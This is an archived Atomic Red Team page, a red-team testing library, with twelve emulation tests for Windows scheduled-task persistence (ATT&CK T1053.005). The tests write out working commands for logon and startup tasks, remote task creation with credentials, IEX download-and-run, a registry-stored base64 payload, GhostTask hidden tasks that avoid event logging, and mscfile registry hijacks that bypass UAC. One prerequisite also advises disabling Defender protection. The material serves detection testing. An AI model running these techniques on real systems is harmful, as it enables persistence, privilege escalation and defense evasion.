atomic-red-team/atomics/T1053.005/T1053.005.md at master ·
redcanaryco/atomic-red-team
By Atomic Red Team doc generator
Archived: 2026-04-06 00:23:08 UTC
T1053.005 - Scheduled Task/Job: Scheduled Task
Description from ATT&CK
Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution
of malicious code. There are multiple ways to access the Task Scheduler in Windows. The schtasks utility can be
run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator
Tools section of the Control Panel.(Citation: Stack Overflow) In some cases, adversaries have used a .NET
wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library
and Windows Management Instrumentation (WMI) to create a scheduled task. Adversaries may also utilize the
Powershell Cmdlet Invoke-CimMethod , which leverages WMI class PS_ScheduledTask to create a scheduled
task via an XML path.(Citation: Red Canary - Atomic Red Team)
An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for
persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral
Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to
System Binary Proxy Execution, adversaries have also abused the Windows Task Scheduler to potentially mask
one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)
Adversaries may also create "hidden" scheduled tasks (i.e. Hide Artifacts) that may not be visible to defender
tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from schtasks
/query and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where
deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask
scheduled task) Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g.,
Index value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows
Environments)
Source
Atomic Tests
Atomic Test #1: Scheduled Task Startup Script
Atomic Test #2: Scheduled task Local
Atomic Test #3: Scheduled task Remote
Atomic Test #4: Powershell Cmdlet Scheduled Task
Atomic Test #5: Task Scheduler via VBA
Atomic Test #6: WMI Invoke-CimMethod Scheduled Task
Atomic Test #7: Scheduled Task Executing Base64 Encoded Commands From Registry
Atomic Test #8: Import XML Schedule Task with Hidden Attribute
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Atomic Test #9: PowerShell Modify A Scheduled Task
Atomic Test #10: Scheduled Task ("Ghost Task") via Registry Key Manipulation
Atomic Test #11: Scheduled Task Persistence via CompMgmt.msc
Atomic Test #12: Scheduled Task Persistence via Eventviewer.msc
Atomic Test #1: Scheduled Task Startup Script
Run an exe on user logon or system startup. Upon execution, success messages will be displayed for the two scheduled
tasks. To view the tasks, open the Task Scheduler and look in the Active Tasks pane.
Supported Platforms: Windows
auto_generated_guid: fec27f65-db86-4c2d-b66c-61945aee87c2
Attack Commands: Run with command_prompt ! Elevation Required (e.g. root or admin)
schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"
schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"
Cleanup Commands
schtasks /delete /tn "T1053_005_OnLogon" /f >nul 2>&1
schtasks /delete /tn "T1053_005_OnStartup" /f >nul 2>&1
Atomic Test #2: Scheduled task Local
Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10.
Supported Platforms: Windows
auto_generated_guid: 42f53695-ad4a-4546-abb6-7d837f644a71
Inputs
Name Description Type Default Value
task_command What you want to execute string C:\windows\system32\cmd.exe
time What time 24 Hour string 20:10
Attack Commands: Run with command_prompt !
SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}
Cleanup Commands
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SCHTASKS /Delete /TN spawn /F >nul 2>&1
Atomic Test #3: Scheduled task Remote
Create a task on a remote system. Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at
20:10 on a remote endpoint.
Supported Platforms: Windows
auto_generated_guid: 2e5eac3e-327b-4a88-a0c0-c4057039a8dd
Inputs
Name Description Type Default Value
task_command What you want to execute string C:\windows\system32\cmd.exe
time What time 24 Hour string 20:10
target Target string localhost
user_name Username to authenticate with, format: DOMAIN\User string DOMAIN\user
password Password to authenticate with string At0micStrong
Attack Commands: Run with command_prompt ! Elevation Required (e.g. root or admin)
SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN "Atomic task" /TR "#{task_command}" /SC da
Cleanup Commands
SCHTASKS /Delete /S #{target} /U #{user_name} /P #{password} /TN "Atomic task" /F >nul 2>&1
Atomic Test #4: Powershell Cmdlet Scheduled Task
Create an atomic scheduled task that leverages native powershell cmdlets.
Upon successful execution, powershell.exe will create a scheduled task to spawn cmd.exe at 20:10.
Supported Platforms: Windows
auto_generated_guid: af9fd58f-c4ac-4bf2-a9ba-224b71ff25fd
Attack Commands: Run with powershell !
$Action = New-ScheduledTaskAction -Execute "calc.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
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$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTask -InputObject $object
Cleanup Commands
Unregister-ScheduledTask -TaskName "AtomicTask" -confirm:$false >$null 2>&1
Atomic Test #5: Task Scheduler via VBA
This module utilizes the Windows API to schedule a task for code execution (notepad.exe). The task scheduler will execute
"notepad.exe" within 30 - 40 seconds after this module has run
Supported Platforms: Windows
auto_generated_guid: ecd3fa21-7792-41a2-8726-2c5c673414d3
Inputs
Name Description Type Default Value
ms_product Maldoc application Word string Word
Attack Commands: Run with powershell !
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-M
Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1053.005\src\T1053.005-macrocode.txt" -officeProduct "#{ms_pro
Cleanup Commands
Unregister-ScheduledTask -TaskName "Run Notepad" -Confirm:$false
Dependencies: Run with powershell !
Description: Microsoft #{ms_product} must be installed
Check Prereq Commands
try {
 New-Object -COMObject "#{ms_product}.Application" | Out-Null
 $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
 Stop-Process -Name $process
 exit 0
} catch { exit 1 }
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Get Prereq Commands
Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement"
Atomic Test #6: WMI Invoke-CimMethod Scheduled Task
Create an scheduled task that executes notepad.exe after user login from XML by leveraging WMI class
PS_ScheduledTask. Does the same thing as Register-ScheduledTask cmdlet behind the scenes.
Supported Platforms: Windows
auto_generated_guid: e16b3b75-dc9e-4cde-a23d-dfa2d0507b3b
Inputs
Name Description Type Default Value
xml_path
path of vbs to use when creating
masquerading files
path PathToAtomicsFolder\T1053.005\src\T1053_005_WMI.xml
Attack Commands: Run with powershell ! Elevation Required (e.g. root or admin)
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "R
Cleanup Commands
Unregister-ScheduledTask -TaskName "T1053_005_WMI" -confirm:$false >$null 2>&1
Dependencies: Run with powershell !
Description: File to copy must exist on disk at specified location (#{xml_path})
Check Prereq Commands
if (Test-Path "#{xml_path}") {exit 0} else {exit 1}
Get Prereq Commands
New-Item -Type Directory (split-path "#{xml_path}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1053.005/src/T1053_005_
Atomic Test #7: Scheduled Task Executing Base64 Encoded Commands From Registry
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A Base64 Encoded command will be stored in the registry (ping 127.0.0.1) and then a scheduled task will be created. The
scheduled task will launch powershell to decode and run the command in the registry daily. This is a persistence mechanism
recently seen in use by Qakbot.
Additiona Information
Supported Platforms: Windows
auto_generated_guid: e895677d-4f06-49ab-91b6-ae3742d0a2ba
Inputs
Name Description Type Default Value
time Daily scheduled task execution time string 07:45
Attack Commands: Run with command_prompt !
reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f
schtasks.exe /Create /F /TN "ATOMIC-T1053.005" /TR "cmd /c start /min \"\" powershell.exe -Command IEX([Syste
Cleanup Commands
schtasks /delete /tn "ATOMIC-T1053.005" /F >nul 2>&1
reg delete HKCU\SOFTWARE\ATOMIC-T1053.005 /F >nul 2>&1
Atomic Test #8: Import XML Schedule Task with Hidden Attribute
Create an scheduled task that executes calc.exe after user login from XML that contains hidden setting attribute. This
technique was seen several times in tricbot malware and also with the targetted attack campaigne the industroyer2.
Supported Platforms: Windows
auto_generated_guid: cd925593-fbb4-486d-8def-16cbdf944bf4
Inputs
Name Description Type Default Value
xml_path
path of vbs to
use when
creating
masquerading
files
path PathToAtomicsFolder\T1053.005\src\T1053_05_SCTASK_HIDDEN_ATTRIB.xml
Attack Commands: Run with powershell ! Elevation Required (e.g. root or admin)
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$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "R
Cleanup Commands
Unregister-ScheduledTask -TaskName "atomic red team" -confirm:$false >$null 2>&1
Dependencies: Run with powershell !
Description: File to copy must exist on disk at specified location (#{xml_path})
Check Prereq Commands
if (Test-Path "#{xml_path}") {exit 0} else {exit 1}
Get Prereq Commands
New-Item -Type Directory (split-path "#{xml_path}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1053.005/src/T1053_05_S
Atomic Test #9: PowerShell Modify A Scheduled Task
Create a scheduled task with an action and modify the action to do something else. The initial idea is to showcase Microsoft
Windows TaskScheduler Operational log modification of an action on a Task already registered. It will first be created to
spawn cmd.exe, but modified to run notepad.exe.
Upon successful execution, powershell.exe will create a scheduled task and modify the action.
Supported Platforms: Windows
auto_generated_guid: dda6fc7b-c9a6-4c18-b98d-95ec6542af6d
Attack Commands: Run with powershell !
$Action = New-ScheduledTaskAction -Execute "cmd.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTaskModifed -InputObject $object
$NewAction = New-ScheduledTaskAction -Execute "Notepad.exe"
Set-ScheduledTask "AtomicTaskModifed" -Action $NewAction
Cleanup Commands
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Unregister-ScheduledTask -TaskName "AtomicTaskModifed" -confirm:$false >$null 2>&1
Atomic Test #10: Scheduled Task ("Ghost Task") via Registry Key Manipulation
Create a scheduled task through manipulation of registry keys. This procedure is implemented using the GhostTask utility.
By manipulating registry keys under HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Schedule\TaskCache\Tree, the tool creates user-specified scheduled tasks without a corresponding
Windows Event 4698, which is logged when scheduled tasks are created through conventional means. This requires a
download of the GhostTask binary, which must be run as NT Authority\SYSTEM. Upon successful execution of this test, a
scheduled task will be set to run at logon which launches notepad.exe or runs a user-specified command. For further
exploration of this procedure and guidance for hunting and detection, see Hunting G-G-G-GhostTasks!.
Supported Platforms: Windows
auto_generated_guid: 704333ca-cc12-4bcf-9916-101844881f54
Inputs
Name Description Type Default Value
task_name Name of the newly-added task string lilghostie
task_command Command you want the task to execute string notepad.exe
target System where the task should run string localhost
user_name
Username to authenticate with, such as
ATOMICDOMAIN\AtomicAdmin
string
$env:USERDOMAIN + '\' +
$env:USERNAME
Attack Commands: Run with command_prompt ! Elevation Required (e.g. root or admin)
"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe"
"PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} add #{task_name} "cmd.exe" "/c #{task_com
Cleanup Commands
"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe"
"PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} delete #{task_name} > nul
Dependencies: Run with powershell !
Description: PsExec tool from Sysinternals must exist in the ExternalPayloads directory
Check Prereq Commands
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe") { exit 0} else { exit 1}
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Get Prereq Commands
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\Exte
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "PathToAtomicsFolder\..\ExternalPayloa
Description: GhostTask.exe tool from netero101 must exist in the ExternalPayloads directory. This tool may be quarantined by windows
defender; disable windows defender real-time protection to fix it or add the ExternalPayloads directory as an exclusion, using a command
like Add-MpPreference -ExclusionPath "PathToAtomicsFolder\..\ExternalPayloads\"
Check Prereq Commands
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe") { exit 0} else { exit 1}
Get Prereq Commands
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://github.com/netero1010/GhostTask/releases/download/1.0/GhostTask.exe" -OutFile "Pat
Atomic Test #11: Scheduled Task Persistence via CompMgmt.msc
Adds persistence by abusing compmgmt.msc via a scheduled task. When the Computer Management console is opened, it
will run a malicious payload (in this case, calc.exe ). This technique abuses scheduled tasks and registry modifications to
hijack legitimate system processes.
Supported Platforms: Windows
auto_generated_guid: 8fcfa3d5-ea7d-4e1c-bd3e-3c4ed315b7d2
Inputs
Name Description Type Default Value
task_name Name of the newly-created scheduled task string CompMgmtBypass
payload Command you want the task to execute string calc.exe
Attack Commands: Run with command_prompt ! Elevation Required (e.g. root or admin)
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\S
schtasks /Create /TN "#{task_name}" /TR "compmgmt.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's open the Computer Management console now...
compmgmt.msc
Cleanup Commands
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reg delete "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /f
schtasks /Delete /TN "#{task_name}" /F
Atomic Test #12: Scheduled Task Persistence via Eventviewer.msc
Adds persistence by abusing eventviewer.msc via a scheduled task. When the eventviewer console is opened, it will run a
malicious payload (in this case, calc.exe ).
Supported Platforms: Windows
auto_generated_guid: 02124c37-767e-4b76-9383-c9fc366d9d4c
Inputs
Name Description Type Default Value
task_name Name of the newly-created scheduled task string EventViewerBypass
payload Command you want the task to execute string calc.exe
Attack Commands: Run with command_prompt ! Elevation Required (e.g. root or admin)
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\S
schtasks /Create /TN "#{task_name}" /TR "eventvwr.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's run the schedule task ...
schtasks /Run /TN "EventViewerBypass"
Cleanup Commands
reg delete "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /f
schtasks /Delete /TN "#{task_name}" /F
Source: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.005/T1053.005.md
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